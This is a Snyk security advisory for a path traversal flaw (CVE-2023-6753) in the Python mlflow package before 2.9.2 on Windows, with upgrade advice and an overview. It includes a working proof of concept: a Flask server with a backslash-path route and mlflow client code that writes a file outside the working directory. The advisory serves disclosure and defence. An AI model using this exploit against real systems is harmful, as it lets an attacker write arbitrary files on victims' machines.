Path Traversal Affecting mlflow package, versions [,2.9.2)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-MLFLOW-6124044
- published13 Dec 2023
- disclosed13 Dec 2023
- credithaxatron
Introduced: 13 Dec 2023
CVE-2023-6753 (opens in a new tab)How to fix?
Upgrade mlflow to version 2.9.2 or higher.
Overview
mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.
Affected versions of this package are vulnerable to Path Traversal by loading datasets on Windows. Exploiting this vulnerability is possible when the filename is controlled by the path of the URL on Windows then, it is possible to write files outside of the current working directory using backslash '' instead of front slash '/' as posixpath.basename does not work with Windows paths.
PoC
Server:
from flask import Flask, Response app = Flask(__name__)@app.route("/\Users\User\poc.txt") def index(): res = Response(""" "fixed acidity";"volatile acidity";"citric acid";"residual sugar";"chlorides";"free sulfur dioxide";"total sulfur dioxide";"density";"pH";"sulphates";"alcohol";"quality" 7.4;0.7;0;1.9;0.076;11;34;0.9978;3.51;0.56;9.4;5 7.8;0.88;0;2.6;0.098;25;67;0.9968;3.2;0.68;9.8;5 """) return res
app.run("0.0.0.0", 4444)
Run the following on Windows, make sure to replace the \Users\User\poc.txt to whatever directory you control.
import mlflow.data import pandas as pd from mlflow.data.pandas_dataset import PandasDatasetdataset_source_url = "http://localhost:4444/\\Users\\User\\poc.txt" df = pd.read_csv(dataset_source_url) dataset: PandasDataset = mlflow.data.from_pandas(df, source=dataset_source_url)
with mlflow.start_run(): mlflow.log_input(dataset, context="training")
run = mlflow.get_run(mlflow.last_active_run().info.run_id) dataset_info = run.inputs.dataset_inputs[0].dataset
dataset_source = mlflow.data.get_source(dataset_info) dataset_source.load()